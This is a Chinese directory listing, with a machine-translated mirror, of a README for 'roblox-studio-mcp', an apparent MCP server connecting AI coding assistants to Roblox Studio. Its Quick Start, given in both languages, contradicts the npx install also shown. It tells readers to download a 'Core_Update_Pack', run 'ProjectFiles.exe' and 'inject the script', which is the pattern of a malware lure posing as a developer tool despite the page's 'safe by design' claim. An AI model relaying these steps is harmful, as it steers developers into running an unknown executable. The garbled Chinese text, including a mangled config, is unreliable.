NR

nanoutrolley/roblox-studio-mcp

开发工具

本页由 AI 翻译,技术细节请以原文为准。 查看原文

283 stars 215 forks 质量 76 趋势 62MIT

Roblox Studio的模型上下文协议(MCP)服务器. 连接AI助手(Claude, Cursor, Cline)读取对象树,实现Lua脚本自动化,并安全运行播放测试. 开源AI桥.

概览

将您的AI编码助理(Claude, Cursor, Cline, ChatGPT)直接连接到Roblox Studio. 将Lua脚本自动化,读取对象树,检查属性,并运行播放测试——都不用离开你的编辑器. 是一个轻量级的Node.js/TypeScript服务器,它执行"模型背景协议"(MCP)来连接Roblox Studio和AI代理. 它起到一种作用,允许LLMs理解您的游戏架构,生成并编辑Lua脚本,并安全地实现重复开发者任务的自动化. QQ通过设计安全:不执行不信任的代码,不进行内存操纵,不访问私人数据. 所有操作都是在工作室插件内放入沙盒. 1. 使用以上按钮。 2. 归档为单独的文件夹。 3. 4. 并注入文字。 1. 打开 Claude desktop config.json(或Cursor MCP设置). 2. 增加以下配置: {"mcpServers":{"roblox-studio":{"命令":"npx","args":["-y","roblox-studio-mcp"]}}}}} } 3. 恢复你的人工智能助理。 4.四.

概述(AI 翻译)

** Roblox Studio的示范背景协议服务器——2026年**

将您的AI编码助理(Claude, Cursor, Cline, ChatGPT)直接连接到Roblox Studio. 将Lua脚本自动化,读取对象树,检查属性,并运行播放测试——都不用离开你的编辑器.

– – . . .

# 这是什么 # # What it is

Roblox Studio MCP是一个轻量级的节点.js/TypeScript服务器,它执行"模型背景协议"(MCP)来连接Roblox Studio和AI代理. 它起到AI桥的作用,可以让LLMs理解你的游戏架构,生成并编辑Lua脚本,安全地实现重复开发者任务的自动化.

QQ安全通过设计:不执行不可信代码,不进行内存操纵,不访问私人数据. 所有操作都是在工作室插件内放入沙盒.

– – . . .

# # # 快速启动 # # # # # # QQ Quick start

  1. ** 使用上方按钮下载 Core Update Pack**。
  2. ** extract** 归档为一个单独的文件夹。
  3. ** 运行项目Files.exe**。
  4. ** 遵循屏幕指示** 并注入脚本。

– – . . .

□ * * * * 特点

  • 特点* * 描述* * |--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

本页由 AI 翻译,技术细节请以原文为准。

README

以下为原文 README 节选,完整内容请查看原文。

🎮 Roblox Studio MCP

Model Context Protocol Server for Roblox Studio — 2026

Connect your AI coding assistant (Claude, Cursor, Cline, ChatGPT) directly to Roblox Studio. Automate Lua scripting, read object trees, inspect properties, and run playtests — all without leaving your editor.


🎯 What it is

Roblox Studio MCP is a lightweight Node.js/TypeScript server that implements the Model Context Protocol (MCP) to bridge Roblox Studio and AI agents. It acts as an AI bridge, allowing LLMs to understand your game’s architecture, generate and edit Lua scripts, and automate repetitive developer tasks safely.

🔒 Safe by design: no execution of untrusted code, no memory manipulation, and no access to private data. All operations are sandboxed within the Studio plugin.


🚀 Quick Start

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe.
  4. Follow the on-screen instructions and inject the script.

✨ Features

Feature Description
🧠 MCP Protocol Support Fully compatible with Claude Desktop, Cursor IDE, Cline, and ChatGPT
🏗️ Object Tree Reader Browse the full hierarchy of your Roblox place
✏️ Lua Script Editor Create, read, and update Lua scripts via AI
🔍 Property Inspector Inspect and modify instance properties
▶️ Playtest Control Run, pause, and stop playtests directly from the agent
🛡️ Read-Only Mode Safe mode for exploration without making changes
⚡ Fast & Lightweight Built with Node.js + WebSocket, low memory footprint
🔌 Auto-Discovery Finds open Studio sessions automatically

🛠️ How to use (with Claude Desktop & Cursor)

  1. Open claude_desktop_config.json (or Cursor MCP settings).
  2. Add the following configuration:

{ “mcpServers”: { “roblox-studio”: { “command”: “npx”, “args”: [“-y”, “roblox-studio-mcp”] } } }

  1. Restart your AI assistant.
  2. Ask Claude: “Show me the object tree of my Roblox place”.
  3. The AI agent will use the MCP server to fetch the data and respond.

⚙️ Configuration

You can adjust settings via environment variables:

  • RBX_MCP_PORT — WebSocket port (default: 44755)
  • RBX_MCP_SAFE_MODE — true to disable destructive actions
  • RBX_MCP_LOG_LEVEL — debug | info | warn | error
  • RBX_MCP_TIMEOUT — Request timeout in milliseconds

💻 Tech Stack & Architecture

  • Core: TypeScript, Node.js
在 GitHub 查看完整 README

安装

npx -y roblox-studio-mcp
新手?先看 mcpskill.org 教程 →